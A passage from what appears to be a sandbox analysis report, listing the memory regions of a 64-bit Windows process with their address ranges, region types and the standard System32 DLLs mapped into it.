"iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 758 start_va = 0x7fefafb0000 end_va = 0x7fefafc3fff entry_point = 0x7fefafb0000 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 759 start_va = 0x7fefafd0000 end_va = 0x7fefb036fff entry_point = 0x7fefafd0000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 760 start_va = 0x7fefb040000 end_va = 0x7fefb04afff entry_point = 0x7fefb040000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 761 start_va = 0x7fefb050000 end_va = 0x7fefb05bfff entry_point = 0x7fefb050000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 762 start_va = 0x7fefb060000 end_va = 0x7fefb06ffff entry_point = 0x7fefb060000 region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 763 start_va = 0x7fefb070000 end_va = 0x7fefb088fff entry_point = 0x7fefb070000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 764 start_va = 0x7fefb090000 end_va = 0x7fefb0c6fff entry_point = 0x7fefb090000 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 765 start_va = 0x7fefb0d0000 end_va = 0x7fefb0e4fff entry_point = 0x7fefb0d0000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 766 start_va = 0x7fefb0f0000 end_va = 0x7fefb1b1fff entry_point = 0x7fefb0f0000 region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 767 start_va = 0x7fefb410000 end_va = 0x7fefb42cfff entry_point = 0x7fefb410000 region_type = mapped_file name = "mmcss.dll" filename = "\\Windows\\System32\\mmcss.dll" (normalized: "c:\\windows\\system32\\mmcss.dll") Region: id = 768 start_va = 0x7fefb430000 end_va = 0x7fefb438fff entry_point = 0x7fefb430000 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 769 start_va = 0x7fefb520000 end_va = 0x7fefb54cfff entry_point = 0x7fefb520000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 770 start_va = 0x7fefb670000 end_va = 0x7fefb680fff entry_point = 0x7fefb670000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 771 start_va = 0x7fefb700000 end_va = 0x7fefb70bfff entry_point = 0x7fefb700000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 772 start_va = 0x7fefb710000 end_va = 0x7fefb751fff entry_point = 0x7fefb710000 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 773 start_va = 0x7fefb760000 end_va = 0x7fefb799fff entry_point = 0x7fefb760000 region_type = mapped_file name = "mprapi.dll" filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll") Region: id = 774 start_va = 0x7fefb7a0000 end_va = 0x7fefb7b9fff entry_point = 0x7fefb7a0000 region_type = mapped_file name = "rascfg.dll" filename = "\\Windows\\System32\\rascfg.dll" (normalized: "c:\\windows\\system32\\rascfg.dll") Region: id = 775 start_va = 0x7fefb7c0000 end_va = 0x7fefb7d3fff entry_point = 0x7fefb7c0000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 776 start_va = 0x7fefb7e0000 end_va = 0x7fefb7f4fff entry_point = 0x7fefb7e0000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 777 start_va = 0x7fefb800000 end_va = 0x7fefb80bfff entry_point = 0x7fefb800000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 778 start_va = 0x7fefb810000 end_va = 0x7fefb825fff entry_point = 0x7fefb810000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 779 start_va = 0x7fefb830000 end_va = 0x7fefb837fff entry_point = 0x7fefb830000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 780 start_va = 0x7fefb840000 end_va = 0x7fefb84efff entry_point = 0x7fefb840000 region_type = mapped_file name = "ndiscapcfg.dll" filename = "\\Windows\\System32\\ndiscapCfg.dll" (normalized: "c:\\windows\\system32\\ndiscapcfg.dll") Region: id = 781 start_va = 0x7fefb850000 end_va = 0x7fefb868fff entry_point = 0x7fefb850000 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 782 start_va = 0x7fefb870000 end_va = 0x7fefb8bffff entry_point = 0x7fefb870000 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 783 start_va = 0x7fefb8c0000 end_va = 0x7fefb933fff entry_point = 0x7fefb8c0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 784 start_va = 0x7fefb940000 end_va = 0x7fefb950fff entry_point = 0x7fefb940000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 785 start_va = 0x7fefb960000 end_va = 0x7fefb967fff entry_point = 0x7fefb960000 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 786 start_va = 0x7fefbaa0000 end_va = 0x7fefbad4fff entry_point = 0x7fefbaa0000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 787 start_va = 0x7fefbf10000 end_va = 0x7fefbf65fff entry_point = 0x7fefbf10000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 788 start_va = 0x7fefbf70000 end_va = 0x7fefc09bfff entry_point = 0x7fefbf70000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 789 start_va = 0x7fefc0a0000 end_va = 0x7fefc0bcfff entry_point = 0x7fefc0a0000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 790 start_va = 0x7fefc0f0000 end_va = 0x7fefc2e3fff entry_point = 0x7fefc0f0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 791 start_va = 0x7fefc780000 end_va = 0x7fefc78bfff entry_point = 0x7fefc780000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 792 start_va = 0x7fefc790000 end_va = 0x7fefc84afff entry_point = 0x7fefc790000 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 793 start_va = 0x7fefc850000 end_va = 0x7fefc856fff entry_point = 0x7fefc850000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 794 start_va = 0x7fefc940000 end_va = 0x7fefc95afff entry_point = 0x7fefc940000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 795 start_va = 0x7fefc960000 end_va = 0x7fefc97dfff entry_point = 0x7fefc960000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 796 start_va = 0x7fefc980000 end_va = 0x7fefc991fff entry_point = 0x7fefc980000 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 797 start_va = 0x7fefc9a0000 end_va = 0x7fefc9befff entry_point = 0x7fefc9a0000 region_type = mapped_file name = "spinf.dll" filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll") Region: id = 798 start_va = 0x7fefca70000 end_va = 0x7fefcaa8fff entry_point = 0x7fefca70000 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 799 start_va = 0x7fefcab0000 end_va = 0x7fefcab9fff entry_point = 0x7fefcab0000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 800 start_va = 0x7fefcac0000 end_va = 0x7fefcaccfff entry_point = 0x7fefcac0000 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 801 start_va = 0x7fefcbb0000 end_va = 0x7fefcbf6fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 802 start_va = 0x7fefcca0000 end_va = 0x7fefcccffff entry_point = 0x7fefcca0000 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 803 start_va = 0x7fefccd0000 end_va = 0x7fefcd2afff entry_point = 0x7fefccd0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 804 start_va = 0x7fefce40000 end_va = 0x7fefce46fff entry_point = 0x7fefce40000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 805 start_va = 0x7fefce50000 end_va = 0x7fefcea4fff entry_point = 0x7fefce50000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 806 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 807 start_va = 0x7fefcfc0000 end_va = 0x7fefcff1fff entry_point = 0x7fefcfc0000 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 808 start_va = 0x7fefd000000 end_va = 0x7fefd007fff entry_point = 0x7fefd000000 region_type = mapped_file name = "wmsgapi.dll" filename = "\\Windows\\System32\\wmsgapi.dll" (normalized: "c:\\windows\\system32\\wmsgapi.dll") Region: id = 809 start_va = 0x7fefd010000 end_va = 0x7fefd019fff entry_point = 0x7fefd010000 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 810 start_va = 0x7fefd0a0000 end_va = 0x7fefd0cefff entry_point = 0x7fefd0a0000 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 811 start_va = 0x7fefd0e0000 end_va = 0x7fefd14cfff entry_point = 0x7fefd0e0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 812 start_va = 0x7fefd150000 end_va = 0x7fefd163fff entry_point = 0x7fefd150000 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 813 start_va = 0x7fefd3b0000 end_va = 0x7fefd3d2fff entry_point = 0x7fefd3b0000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 814 start_va = 0x7fefd450000 end_va = 0x7fefd45afff entry_point = 0x7fefd450000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 815 start_va = 0x7fefd480000 end_va = 0x7fefd4a4fff entry_point = 0x7fefd480000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 816 start_va = 0x7fefd4b0000 end_va = 0x7fefd4befff entry_point = 0x7fefd4b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 817 start_va = 0x7fefd4c0000 end_va = 0x7fefd550fff entry_point = 0x7fefd4c0000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 818 start_va = 0x7fefd560000 end_va = 0x7fefd59cfff entry_point = 0x7fefd560000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 819 start_va = 0x7fefd5a0000 end_va = 0x7fefd5b3fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 820 start_va = 0x7fefd5c0000 end_va = 0x7fefd5cefff entry_point = 0x7fefd5c0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 821 start_va = 0x7fefd660000 end_va = 0x7fefd66efff entry_point = 0x7fefd660000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 822 start_va = 0x7fefd670000 end_va = 0x7fefd6a5fff entry_point = 0x7fefd670000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 823 start_va = 0x7fefd750000 end_va = 0x7fefd8b6fff entry_point = 0x7fefd750000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 824 start_va = 0x7fefd8c0000 end_va = 0x7fefd8f9fff entry_point = 0x7fefd8c0000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 825 start_va = 0x7fefd900000 end_va = 0x7fefd919fff entry_point = 0x7fefd900000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 826 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 827 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 828 start_va = 0x7fefdbb0000 end_va = 0x7fefdc86fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 829 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 830 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 831 start_va = 0x7fefddf0000 end_va = 0x7fefdff2fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 832 start_va = 0x7fefe000000 end_va = 0x7fefe098fff entry_point = 0x7fefe000000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 833 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 834 start_va = 0x7fefe1b0000 end_va = 0x7fefe201fff entry_point = 0x7fefe1b0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 835 start_va = 0x7fefe330000 end_va = 0x7fefe34efff entry_point = 0x7fefe330000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 836 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 837 start_va = 0x7fefe360000 end_va = 0x7feff0e7fff entry_point = 0x7fefe360000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 838 start_va = 0x7feff0f0000 end_va = 0x7feff2c6fff entry_point = 0x7feff0f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 839 start_va = 0x7feff2d0000 end_va = 0x7feff2d7fff entry_point = 0x7feff2d0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 840 start_va = 0x7feff2e0000 end_va = 0x7feff350fff entry_point = 0x7feff2e0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 841 start_va = 0x7feff490000 end_va = 0x7feff4dcfff entry_point = 0x7feff490000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 842 start_va = 0x7feff740000 end_va = 0x7feff81afff entry_point = 0x7feff740000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 843 start_va = 0x7feff820000 end_va = 0x7feff94cfff entry_point = 0x7feff820000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 844 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 845 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 846 start_va = 0x7fffff5a000 end_va = 0x7fffff5bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff5a000" filename = "" Region: id = 847 start_va = 0x7fffff5c000 end_va = 0x7fffff5dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff5c000" filename = "" Region: id = 848 start_va = 0x7fffff5e000 end_va = 0x7fffff5ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff5e000" filename = "" Region: id = 849 start_va = 0x7fffff72000 end_va = 0x7fffff73fff entry_point = 0x0 region_type = private name = "private_0x000007fffff72000" filename = "" Region: id = 850 start_va = 0x7fffff76000 end_va = 0x7fffff77fff entry_point = 0x0 region_type = private name = "private_0x000007fffff76000" filename = "" Region: id = 851 start_va = 0x7fffff7a000 end_va = 0x7fffff7bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7a000" filename = "" Region: id = 852 start_va = 0x7fffff7e000 end_va = 0x7fffff7ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff7e000" filename = "" Region: id = 853 start_va = 0x7fffff86000 end_va = 0x7fffff87fff entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 854 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 855 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 856 start_va = 0x7fffff90000 end_va = 0x7fffff91fff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 857 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 858 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 859 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 860 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 861 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 862 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 863 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 864 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 865 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 866 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 867 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 868 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 869 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 870 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 871 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 872 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 873 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 874 start_va = 0x7fffffda000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 875 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 876 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1293 start_va = 0xc20000 end_va = 0xc39fff entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 1294 start_va = 0xc40000 end_va = 0xc40fff entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 1295 start_va = 0xd50000 end_va = 0xd5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d50000" filename = "" Region: id = 1296 start_va = 0xd60000 end_va = 0xd6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d60000" filename = "" Region: id = 1297 start_va = 0xd70000 end_va = 0xd7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d70000" filename = "" Region: id = 1298 start_va = 0xd80000 end_va = 0xd8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d80000" filename = "" Region: id = 1299 start_va = 0xd90000 end_va = 0xd9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d90000" filename = "" Region: id = 1300 start_va = 0xda0000 end_va = 0xdaffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000da0000" filename = "" Region: id = 1301 start_va = 0x1910000 end_va = 0x198ffff entry_point = 0x0 region_type = private name = "private_0x0000000001910000" filename = "" Region: id = 1302 start_va = 0x3240000 end_va = 0x32bffff entry_point = 0x0 region_type = private name = "private_0x0000000003240000" filename = "" Region: id = 1303 start_va = 0x3530000 end_va = 0x35affff entry_point = 0x0 region_type = private name = "private_0x0000000003530000" filename = "" Region: id = 1304 start_va = 0x35f0000 end_va = 0x366ffff entry_point = 0x0 region_type = private name = "private_0x00000000035f0000" filename = "" Region: id = 1305 start_va = 0x3790000 end_va = 0x380ffff entry_point = 0x0 region_type = private name = "private_0x0000000003790000" filename = "" Region: id = 1306 start_va = 0x38f0000 end_va = 0x39effff entry_point = 0x0 region_type = private name = "private_0x00000000038f0000" filename = "" Region: id = 1307 start_va = 0x3a70000 end_va = 0x3aeffff entry_point = 0x0 region_type = private name = "private_0x0000000003a70000" filename = "" Region: id = 1308 start_va = 0x3f90000 end_va = 0x408ffff entry_point = 0x0 region_type = private name = "private_0x0000000003f90000" filename = "" Region: id = 1309 start_va = 0x4130000 end_va = 0x422ffff entry_point = 0x0 region_type = private name = "private_0x0000000004130000" filename = "" Region: id = 1310 start_va = 0x45f0000 end_va = 0x46effff entry_point = 0x0 region_type = private name = "private_0x00000000045f0000" filename = "" Region: id = 1311 start_va = 0x49a0000 end_va = 0x4b9ffff entry_point = 0x0 region_type = private name = "private_0x00000000049a0000" filename = "" Region: id = 1312 start_va = 0x4ba0000 end_va = 0x4f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000004ba0000" filename = "" Region: id = 1313 start_va = 0x7fefab60000 end_va = 0x7fefab74fff entry_point = 0x7fefab60000 region_type = mapped_file name = "aelupsvc.dll" filename = "\\Windows\\System32\\aelupsvc.dll" (normalized: "c:\\windows\\system32\\aelupsvc.dll") Region: id = 1314 start_va = 0x7fffff82000 end_va = 0x7fffff83fff entry_point = 0x0 region_type = private name = "private_0x000007fffff82000" filename = "" Region: id = 1315 start_va = 0x7fffff84000 end_va = 0x7fffff85fff entry_point = 0x0 region_type = private name = "private_0x000007fffff84000" filename = "" Region: id = 1316 start_va = 0x7fffff88000 end_va = 0x7fffff89fff entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 1317 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = 